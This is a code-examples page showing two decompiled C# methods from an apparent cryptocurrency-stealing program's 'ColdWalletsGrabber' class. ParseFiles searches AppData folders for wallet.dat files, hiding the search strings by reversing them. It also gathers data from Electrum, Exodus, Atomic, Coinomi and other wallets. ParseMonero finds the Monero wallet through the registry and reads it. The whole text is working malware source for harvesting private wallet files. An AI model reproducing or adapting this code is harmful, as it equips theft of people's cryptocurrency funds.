Ejemplo n.º 1
0
        // Token: 0x06000191 RID: 401 RVA: 0x00004A38 File Offset: 0x00002C38
        public static IList <ColdWallet> ParseFiles()
        {
            List <ColdWallet> list = new List <ColdWallet>();

            try
            {
                List <string> list2 = DecryptHelper.FindPaths(Constants.RoamingAppData, 2, 1, new string[]
                {
                    new string("tad.tellaw".Reverse <char>().ToArray <char>()),
                    new string("tellaw".Reverse <char>().ToArray <char>())
                });
                list2.AddRange(DecryptHelper.FindPaths(Constants.LocalAppData, 2, 1, new string[]
                {
                    new string("tad.tellaw".Reverse <char>().ToArray <char>()),
                    new string("tellaw".Reverse <char>().ToArray <char>())
                }));
                foreach (string text in list2)
                {
                    try
                    {
                        FileInfo fileInfo = new FileInfo(text);
                        list.Add(new ColdWallet
                        {
                            DataArray  = File.ReadAllBytes(text),
                            FileName   = fileInfo.Name,
                            WalletName = fileInfo.Directory.Name,
                            WalletDir  = fileInfo.Directory.Name
                        });
                    }
                    catch
                    {
                    }
                }
                List <ColdWallet> list3 = new List <ColdWallet>();
                list3.AddRange(ColdWalletsGrabber.ParseElectrum());
                list3.AddRange(ColdWalletsGrabber.ParseEth());
                list3.AddRange(ColdWalletsGrabber.ParseExodus());
                list3.AddRange(ColdWalletsGrabber.ParseGuarda());
                list3.AddRange(ColdWalletsGrabber.ParseAtomic());
                list3.AddRange(ColdWalletsGrabber.ParseCoinomi());
                list3.AddRange(ColdWalletsGrabber.ParseWaves());
                list3.AddRange(ColdWalletsGrabber.ParseJaxx());
                ColdWallet item = ColdWalletsGrabber.ParseMonero();
                if (!string.IsNullOrWhiteSpace(item.FileName))
                {
                    list.Add(item);
                }
                foreach (ColdWallet item2 in list3)
                {
                    list.Add(item2);
                }
            }
            catch (Exception)
            {
            }
            return(list);
        }
Ejemplo n.º 2
0
 // Token: 0x0600019A RID: 410 RVA: 0x00005470 File Offset: 0x00003670
 private static ColdWallet ParseMonero()
 {
     try
     {
         RegistryKey currentUser = Registry.CurrentUser;
         RegistryKey registryKey;
         if (currentUser == null)
         {
             registryKey = null;
         }
         else
         {
             RegistryKey registryKey2 = currentUser.OpenSubKey("Software");
             if (registryKey2 == null)
             {
                 registryKey = null;
             }
             else
             {
                 RegistryKey registryKey3 = registryKey2.OpenSubKey("monero-project");
                 registryKey = ((registryKey3 != null) ? registryKey3.OpenSubKey("monero-core") : null);
             }
         }
         using (RegistryKey registryKey4 = registryKey)
         {
             char[] separator = new char[]
             {
                 '\\'
             };
             string text = (registryKey4 != null) ? registryKey4.GetValue("wallet_path").ToString().Replace("/", "\\") : null;
             if (File.Exists(text))
             {
                 byte[] array = File.ReadAllBytes(text);
                 if (array != null)
                 {
                     ColdWallet result = default(ColdWallet);
                     result.DataArray  = array;
                     result.WalletName = "Monero";
                     result.FileName   = text.Split(separator)[text.Split(separator).Length - 1];
                     result.WalletDir  = "Monero";
                     return(result);
                 }
             }
         }
     }
     catch
     {
     }
     return(default(ColdWallet));
 }